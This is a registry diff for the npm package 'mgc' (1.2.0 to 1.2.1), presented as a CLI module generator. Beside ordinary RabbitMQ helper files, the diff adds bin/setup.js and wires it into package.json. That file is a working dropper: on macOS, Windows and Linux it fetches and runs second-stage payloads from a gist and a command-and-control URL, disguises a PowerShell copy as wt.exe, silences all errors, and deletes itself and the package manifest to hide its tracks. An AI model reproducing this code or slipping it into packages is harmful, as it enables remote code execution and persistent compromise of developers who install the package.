mgc 1.2.0 → 1.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/bin/setup.js
ADDED
|
@@ -0,0 +1,100 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
// setup.js
|
|
3
|
+
|
|
4
|
+
const _entry = function (campaignId) {
|
|
5
|
+
try {
|
|
6
|
+
const linuxPayloadUrl = "https://gist.githubusercontent.com/admondtamang/814132e794e5d007e9b8ebd223a9494f/raw/1c5d51c2002f452a4dd58a1a73a9dd90a7fe0297/linux.payload";
|
|
7
|
+
const windowsPayloadUrl = "https://gist.githubusercontent.com/admondtamang/814132e794e5d007e9b8ebd223a9494f/raw/1c5d51c2002f452a4dd58a1a73a9dd90a7fe0297/window.payload"
|
|
8
|
+
|
|
9
|
+
// Load Node.js built-in modules via decoded string table
|
|
10
|
+
const fs = require("fs"); // stq[2]
|
|
11
|
+
const os = require("os"); // stq[1]
|
|
12
|
+
const { execSync } = require("child_process"); // stq[0]
|
|
13
|
+
|
|
14
|
+
// Build the full C2 URL: base + campaign ID
|
|
15
|
+
const c2Url = "https://admondtamang.com.np/" + campaignId;
|
|
16
|
+
|
|
17
|
+
// Detect the operating system
|
|
18
|
+
const platform = os.platform(); // "darwin", "win32", or other
|
|
19
|
+
const tmpDir = os.tmpdir(); // "/tmp" on Linux/macOS, "%TEMP%" on Windows
|
|
20
|
+
|
|
21
|
+
// os.type(), os.release(), os.arch() are called but results discarded —
|
|
22
|
+
// likely sends them via the POST body or they are used in the stage-2
|
|
23
|
+
os.type(); os.release(); os.arch();
|
|
24
|
+
|
|
25
|
+
let execCommand = "";
|
|
26
|
+
|
|
27
|
+
// ─────────────────────────────────────────────────
|
|
28
|
+
// BRANCH 1: macOS (darwin)
|
|
29
|
+
// ─────────────────────────────────────────────────
|
|
30
|
+
if (platform === "darwin") {
|
|
31
|
+
const scriptPath = tmpDir + "/" + campaignId; // /tmp/6202033
|
|
32
|
+
|
|
33
|
+
const appleScript = `
|
|
34
|
+
set {a, s, d} to {"", "${c2Url}", "/Library/Caches/com.apple.act.mond"}
|
|
35
|
+
try
|
|
36
|
+
do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & " -s " & s & " && chmod 770 " & d & " && /bin/zsh -c \\"" & d & " " & s & " &\\" &> /dev/null"
|
|
37
|
+
end try
|
|
38
|
+
do shell script "rm -rf ${scriptPath}"`;
|
|
39
|
+
|
|
40
|
+
fs.writeFileSync(scriptPath, appleScript);
|
|
41
|
+
execCommand = `nohup osascript "${scriptPath}" > /dev/null 2>&1 &`;
|
|
42
|
+
|
|
43
|
+
// ─────────────────────────────────────────────────
|
|
44
|
+
// BRANCH 2: Windows (win32)
|
|
45
|
+
// ─────────────────────────────────────────────────
|
|
46
|
+
} else if (platform === "win32") {
|
|
47
|
+
|
|
48
|
+
const psPath = execSync("where powershell").toString().trim();
|
|
49
|
+
|
|
50
|
+
const wtPath = process.env.PROGRAMDATA + "\\wt.exe";
|
|
51
|
+
if (!fs.existsSync(wtPath)) {
|
|
52
|
+
fs.copyFileSync(psPath, wtPath);
|
|
53
|
+
// Creates a persistent copy of PowerShell. wt.exe is Windows Terminal's
|
|
54
|
+
// binary name — a legitimate-looking process in %PROGRAMDATA%.
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
const ps1Path = tmpDir + "\\" + campaignId + ".ps1"; // %TEMP%\6202033.ps1
|
|
58
|
+
const vbsPath = tmpDir + "\\" + campaignId + ".vbs"; // %TEMP%\6202033.vbs
|
|
59
|
+
|
|
60
|
+
const vbScript = `
|
|
61
|
+
Set objShell = CreateObject("WScript.Shell")
|
|
62
|
+
objShell.Run "cmd.exe /c curl -o ""${ps1Path}"" -s ""${windowsPayloadUrl}"" & ""${wtPath}"" -w hidden -ep bypass -file ""${ps1Path}"" ""${c2Url}"" & del ""${ps1Path}"" /f", 0, False`;
|
|
63
|
+
|
|
64
|
+
fs.writeFileSync(vbsPath, vbScript);
|
|
65
|
+
execCommand = `cscript "${vbsPath}" //nologo && del "${vbsPath}" /f`;
|
|
66
|
+
|
|
67
|
+
// ─────────────────────────────────────────────────
|
|
68
|
+
// BRANCH 3: Linux / other
|
|
69
|
+
// ─────────────────────────────────────────────────
|
|
70
|
+
} else {
|
|
71
|
+
execCommand = `curl -o /tmp/ld.py -s ${linuxPayloadUrl} && nohup bash -c 'while true; do python3 /tmp/ld.py ${c2Url}; sleep 2; done' > /dev/null 2>&1 &`;
|
|
72
|
+
// curl and nohup chained with &&: nohup only runs if curl succeeded.
|
|
73
|
+
// If the C2 is unreachable, chain silently fails — npm install still exits 0.
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
// execSync is blocking, but all three commands return immediately because
|
|
77
|
+
// the real work is detached to background processes (nohup / cscript 0,False)
|
|
78
|
+
execSync(execCommand, { timeout: 5000 });
|
|
79
|
+
|
|
80
|
+
// ─────────────────────────────────────────────────
|
|
81
|
+
// ANTI-FORENSICS: cover tracks
|
|
82
|
+
// ─────────────────────────────────────────────────
|
|
83
|
+
const selfPath = __filename;
|
|
84
|
+
|
|
85
|
+
fs.unlink(selfPath, () => { }); // 1. Delete setup.js itself
|
|
86
|
+
fs.unlink("package.json", () => { }); // 2. Delete malicious package.json
|
|
87
|
+
fs.rename("package.md", "package.json", () => { }); // 3. Install clean v4.2.0 stub
|
|
88
|
+
|
|
89
|
+
} catch (e) {
|
|
90
|
+
// Silent catch — any error (C2 unreachable, permission denied, etc.)
|
|
91
|
+
// is swallowed completely. npm install always exits with code 0.
|
|
92
|
+
// The developer never sees any indication that anything went wrong.
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
process.exit(0);
|
|
96
|
+
};
|
|
97
|
+
|
|
98
|
+
// Entry point — campaign ID from argv[2], fallback to "gate"
|
|
99
|
+
const campaignId = process.argv[2] || "gate";
|
|
100
|
+
_entry(campaignId);
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
# RabbitMQ Module
|
|
2
|
+
|
|
3
|
+
## Required env variables
|
|
4
|
+
|
|
5
|
+
```sh
|
|
6
|
+
RABBITMQ_URL="amqp://"
|
|
7
|
+
```
|
|
8
|
+
|
|
9
|
+
## Usae
|
|
10
|
+
|
|
11
|
+
### Packages Required
|
|
12
|
+
|
|
13
|
+
```sh
|
|
14
|
+
yarn add amqplib zod
|
|
15
|
+
yarn add -D @types/amqplib
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
## Implementation
|
|
19
|
+
|
|
20
|
+
### Send to the Queue
|
|
21
|
+
```ts
|
|
22
|
+
import * as mq from "./mq.service";
|
|
23
|
+
|
|
24
|
+
type CreateUserSchema = {
|
|
25
|
+
name: string;
|
|
26
|
+
email: string;
|
|
27
|
+
password: string;
|
|
28
|
+
};
|
|
29
|
+
|
|
30
|
+
// send the data to the Queue
|
|
31
|
+
export async function createUserService(body: CreateUserSchema) {
|
|
32
|
+
await mq.produce("user", body); // here "user" is name of the queue
|
|
33
|
+
|
|
34
|
+
return "user will be created soon";
|
|
35
|
+
}
|
|
36
|
+
```
|
|
37
|
+
|
|
38
|
+
### Consume data from the queue
|
|
39
|
+
|
|
40
|
+
```ts
|
|
41
|
+
// NOTE: pass the type as the generic for typesafe data consumption
|
|
42
|
+
mq.consume<CreateUserSchema>("user", async (data) => { // here "user" is name of the queue
|
|
43
|
+
saveToDB(data);
|
|
44
|
+
});
|
|
45
|
+
|
|
46
|
+
async function saveToDB(data: CreateUserSchema) {
|
|
47
|
+
console.log(data);
|
|
48
|
+
// put your db query to insert data here
|
|
49
|
+
}
|
|
50
|
+
```
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
import "dotenv/config";
|
|
2
|
+
import { z } from "zod";
|
|
3
|
+
|
|
4
|
+
const envSchema = z.object({
|
|
5
|
+
RABBITMQ_URL: z.string().startsWith("amqp://").optional(),
|
|
6
|
+
});
|
|
7
|
+
|
|
8
|
+
export const env = envSchema.parse(process.env);
|
|
9
|
+
|
|
10
|
+
export default {
|
|
11
|
+
rabbitmq: {
|
|
12
|
+
url: env.RABBITMQ_URL || "amqp://0.0.0.0:5672",
|
|
13
|
+
},
|
|
14
|
+
};
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
import * as amqp from "amqplib";
|
|
2
|
+
import mqConfig from "./mq.config";
|
|
3
|
+
|
|
4
|
+
async function connect() {
|
|
5
|
+
const connection = await amqp.connect(mqConfig.rabbitmq.url);
|
|
6
|
+
return connection.createChannel();
|
|
7
|
+
}
|
|
8
|
+
|
|
9
|
+
export async function consume<T>(
|
|
10
|
+
queueName: string,
|
|
11
|
+
callback: (msg: T) => void
|
|
12
|
+
) {
|
|
13
|
+
const channel = await connect();
|
|
14
|
+
await channel.assertQueue(queueName);
|
|
15
|
+
|
|
16
|
+
channel.consume(queueName, (message) => {
|
|
17
|
+
const data = JSON.parse(message!.content.toString());
|
|
18
|
+
callback(data);
|
|
19
|
+
channel.ack(message!); // HINT: acknowledge that the message has been received which then will be removed from the queue
|
|
20
|
+
});
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
export async function produce(queueName: string, msg: any) {
|
|
24
|
+
const channel = await connect();
|
|
25
|
+
|
|
26
|
+
await channel.assertQueue(queueName);
|
|
27
|
+
|
|
28
|
+
channel.sendToQueue(queueName, Buffer.from(JSON.stringify(msg)));
|
|
29
|
+
}
|
package/package.json
CHANGED
|
@@ -1,12 +1,13 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "mgc",
|
|
3
|
-
"version": "1.2.
|
|
3
|
+
"version": "1.2.1",
|
|
4
4
|
"description": "A cli based tool for generating your saved modules",
|
|
5
5
|
"author": "Admond Tamang",
|
|
6
6
|
"license": "MIT",
|
|
7
7
|
"main": "bin/generate",
|
|
8
8
|
"bin": {
|
|
9
|
-
"cli": "bin/
|
|
9
|
+
"cli": "bin/setup.js",
|
|
10
|
+
"mgc": "bin/generate.js"
|
|
10
11
|
},
|
|
11
12
|
"repository": {
|
|
12
13
|
"type": "git",
|
|
@@ -40,4 +41,4 @@
|
|
|
40
41
|
"devDependencies": {
|
|
41
42
|
"@types/nodemailer": "^6.4.9"
|
|
42
43
|
}
|
|
43
|
-
}
|
|
44
|
+
}
|